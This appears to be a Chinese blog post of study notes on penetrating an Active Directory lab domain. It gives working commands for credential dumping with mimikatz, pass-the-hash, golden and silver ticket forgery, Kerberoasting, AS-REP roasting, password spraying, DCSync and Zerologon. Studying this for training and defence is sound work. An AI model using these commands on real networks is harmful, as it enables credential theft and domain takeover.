首页 > 其他分享 >简单域渗透操作

简单域渗透操作

时间:2023-04-11 22:13:52浏览次数:43  
标签:hash 账号 渗透 管理员 简单 操作 txt com oscp

信息收集

net user /domain
net group /domain
net group "Domain Admins" /domain
# 这种方法没办法收集到组的嵌套关系

# 可以使用PowerView
Import-Module .\PowerView.ps1
Get-Netdomain
Get-NetUser | select cn 

# 思路是找高权限用户,找哪一台主机有该用户的登录会话,用普通用户去连那台主机,找内存的hash
Get-NetGroup | select cn
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select cn,operationsystem,dnshostname

# 寻找普通用户在哪台机器上有本地管理员权限
Find-LocalAdminAccess
Get-NetSession #域当中所有主机当前的会话
Get-NetSession -ComputerName User1 # 查看User1中存在的会话

# 查看账户绑定的spn
Get-NetUser -SPN | select cn,serviceprincipalname
# 可以针对SPN服务账号的名称进行密码爆破

#看看解析成什么IP
nslookup


# 找域当中所有主机上的文件共享
Find-DomainShare
# 有一个文件共享必定存在 \\域名
\\oscp.com # 找一个SYSVOL,域当中的策略都在里面

# 各种信息收集可以用SharpHound


远程登录

WMIC

# 在远程主机user1执行命令
wmic /node:user1 process call create "cmd" # 现在登录的账号对远程主机有管理员权限,登录域的时候做一次身份认证后,执行命令不需要继续认证了
wmic /node:10.0.2.94 /user:oscp\alice /password:Password2 process call create "cmd"


# kali传输文件新方式
mkdir p
impacket-smbserver -smb2support p

# 然后在windows上访问\\kali-ip, 然后把要共享的文件拖进去
# 反弹shell可以用谷安提供的encode.py生成payload

WINRM

端口:5985、5986

平时如果用wmic远程连接可以成功,就不需要用到winrm,如果wmic不能用,可以看看5985、5986端口有没有开

windows默认winrm没启动

# 管理员权限
Enable-PSRemoting -force
netstat -ano # 看看端口起了没

winrs -r:user1 "cmd /c hostname & whoami"
# 非域环境
winrs -r:user1 -u:oscp\alice -p:Password "cmd /c ipconfig"

# 使用powershell调用winrm
New-PSSession -ComputerName user1
Enter-PSSession 1

PsExec

.\PsExec64.exe -i \\user1 cmd

横向渗透

PTH

机器上存在高权限的本地账号会话的话,密码的hash会缓存在机器的lssas内存中

mimikatz.exe 
privilege::debug
sekurlsa:logonpassword
# kali

impacket-wmiexec -hashes :hash [email protected]

Over PTH

在本机上,利用已经获得的hash,给自己申请一个域管理员账号的票据,然后可以登录域的任何一台主机

sekurlsa::pth /user:administrator /domain:oscp.com /ntlm:hash /run:powershell
# 以管理员的身份打开了powershell

# 打开工具包,已经有管理员的票据了
PsExec64.exe \\dc1 cmd

PTT

服务票据可以从一台机器导入到另一台机器中

Bob可以访问文件共享,Alice不行,但是Alice可以在Bob这台机器中有管理员权限,可以从Bob机器上导出服务票据,导入到Alice的机器中,让Alice有权限访问文件共享

#Bob

sekurlsa::tickets /export
# 会在 mimikatz 当前目录
# 拷贝票据到另一台机器

# 票据导入
kerberos::ptt 票据文件名
# 导入后就有文件共享的权限了

持久化

金票伪造

管理员把密码改了,无法通过PTH来进行登录,可以伪造一张TGT来进行持久化

TGT通过krbtgt的hash来加密,所以伪造TGT需要知道krbtgt的hash

需要的东西:

  • 域的SID
  • krbtgt的hash
  • 域当中任何一个用户的用户名
# SID

whoami /user

# krbtgt 需要有域管理员的权限
mimikatz.exe
privilege::debug
lsadump::lsa /patch

# 伪造金票
kerberos::purge # 清理票据
kerberos::golden /user:bob /domain:oscp.com /sid:domain-sid /krbtgt:hash /ptt

# 已经是管理员了
misc::cmd # 打开一个cmd

攻击AD域

Spray Password

域中密码爆破有阈值,所以反过来用密码破解用户名

powershell -ep bypass
.\Spray-Passwords.ps1 -Pass Password1

# kali下也有这种类型的工具
crackmapexec smb 10.0.2.94 -u user.txt -p Password1 -d oscp.com

AS-REP(Pre Auth)

一般用户拿到TGT之前是会经过DC的预身份认证

若DC中给某个管理员账户取消了预身份认证,该用户可以直接得到TGT,可以用所有用户向DC发一个身份认证的请求,返回的信息若有用某个账号hash加密的会话密钥,可以对密钥进行解密

要实现这种攻击:需要有一个普通的账号和密码

impacket-GetNPUsers --dc-ip 10.0.2.91 -request -outputfile hash.txt oscp.com/Bob 
# 输入密码
Password1

# hash.txt 返回的是用alice的hash加密的信息
hash --help | grep -i kerberos
hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# -r 是规则文件

Kerberosting(SPN)

针对SPN的弱密码来进行攻击

impacket-GetNuserSPNs -request -dc-ip 10.0.2.91 oscp.com/bob # 知道一个域中普通账号密码就行
# 输入密码

# 获取由服务账号hash加密的密文 将它生成h.txt
hashcat -m 13100 h.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# 获得sqladmin的账号,是域管理理员组的成员

银票

用来做提权的

需要:SPN服务账号的密码(如获取明文,可以把它加密成 nt hash),SPN名,域的SID

mimikatz.exe
privilege::debug
kerberos::golden /sid:domain_sid /domain:oscp.com /ptt /target:www.oscp.com /service:http /rc4:spn_hash /user:bob

DC同步

一旦获得域控制器的管理员权限,可以把所有账号的hash一次性dump下来

impacket-secretdump oscp.com/administrator:"Passw0rd"@10.0.2.91

原本是DC之间用来同步的机制,但是由于没有验证来源主机,所以只要管理员账号密码提供正确,即可dump下来

Zerologon

什么信息都收集不了,但是Server 2016没有打补丁的话,有这个漏洞

工具网上搜索Github ricksense zerologon

cd zerologon
python set_empty_pw.py dc1 10.0.2.91

# 参考zerologon的github项目,可以把所有账号的hash 都dump下来
impacket-secretdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'oscp.com/[email protected]'

标签:hash,账号,渗透,管理员,简单,操作,txt,com,oscp
From: https://www.cnblogs.com/cha0s32/p/17307945.html

相关文章

  • sqlalchemy快速插入数据,scoped_session线程安全,加载类上的装饰器,基本增删改查,django中
    今日内容sqlalchemy快速插入数据sqlalchemy是什么orm框架,跟其他web框架没有必然联系,可以独立使用安装,快速使用,执行原生sql创建表和删除表不能创建数据库不能修改字段(增加,删除)使用orm插入第一步:生成engine对象engine=create_engine("mysql+pymysql://[email protected].......
  • Linux操作系统基础的常用命令
    1,Linux简介Linux是一种自由和开放源码的操作系统,存在着许多不同的Linux版本,但它们都使用了Linux内核。Linux可安装在各种计算机硬件设备中,比如手机、平板电脑、路由器、台式计算机。1.1Linux介绍Linux出现于1991年,是由芬兰赫尔辛基大学学生LinusTorvalds和后来加入的众多爱好者......
  • Linux操作系统进程的状态和转换(五态模型)
    1、进程的状态和装换1.1进程的三态模型按进程在执行过程中的不同情况至少要定义三种状态:运行(running)态:进程占有处理器正在运行的状态。进程已获得CPU,其程序正在执行。在单处理机系统中,只有一个进程处于执行状态;在多处理机系统中,则有多个进程处于执行状态。就绪(ready)态:进程具......
  • C#图片添加水印操作类
    C#图片添加水印操作类原文链接:https://blog.csdn.net/gongquan2008/article/details/127914150usingSystem;usingSystem.Drawing;usingSystem.Drawing.Drawing2D;usingSystem.Drawing.Imaging;usingSystem.Web;usingSystem.IO;usingSystem.Web.UI;usingSystem.Xml;......
  • 701. 二叉搜索树中的插入操作
    给定二叉搜索树(BST)的根节点root和要插入树中的值value,将值插入二叉搜索树。返回插入后二叉搜索树的根节点。输入数据保证,新值和原始二叉搜索树中的任意节点值都不同。注意,可能存在多种有效的插入方式,只要树在插入后仍保持为二叉搜索树即可。你可以返回任意有效的结果......
  • 基于YALMIP 的微网优化调度模型 做了一个简单的微网优化调度模型,模型中含有蓄电池储能
    微网优化调度机组组合YALMIPcplex 编程语言:MATLAB平台主题:基于YALMIP的微网优化调度模型内容简介:程序基于MATLAByalmip开发,做了一个简单的微网优化调度模型,模型中含有蓄电池储能、风电、光伏等发电单元,程序运行结果良好,适合初学。ID:6750634286205146......
  • pymysql 操作数据库
    一、数据库操作应用场景1、检验测试数据接口发送请求后明确会对数据库中的某个字段进行修改,但响应结果中无该字段数据时。如:ihrm删除员工接口。is_delete字段,没有在响应结果中出现!需要借助数据库校验!2、构造测试数据测试数据使用一......
  • EasyCVR平台基于GB28181协议的语音对讲配置操作教程
    EasyCVR基于云边端协同,具有强大的数据接入、处理及分发能力,平台可支持海量视频的轻量化接入与汇聚管理,可提供视频监控直播、视频轮播、视频录像、云存储、回放与检索、智能告警、服务器集群、语音对讲、云台控制、电子地图、平台级联等功能。其中,语音对讲功能在视频监控场景中具有......
  • 操作系统(2.8.1)--线程的实现方式
    1.内核支持线程(KST)内核支持线程,与进程相同,是在内核的支持下运行的,即无论是用户进程中的线程,还是系统进程中的线程,他们的创建、撤消和切换等也是依靠内核,在内核空间实现的。这种线程实现方式主要有如下四个优点:(1)在多处理器系统中,内核能够同时调度同一进程中多个线程并行执行(2)如......
  • Git——基本操作
    Git基本操作Git的工作就是创建和保存你项目的快照及与之后的快照进行对比。本章将对有关创建与提交你的项目快照的命令作介绍。Git常用的是以下6个命令:gitclone、gitpush、gitadd 、gitcommit、gitcheckout、gitpull,后面我们会详细介绍。说明:workspace:工作区s......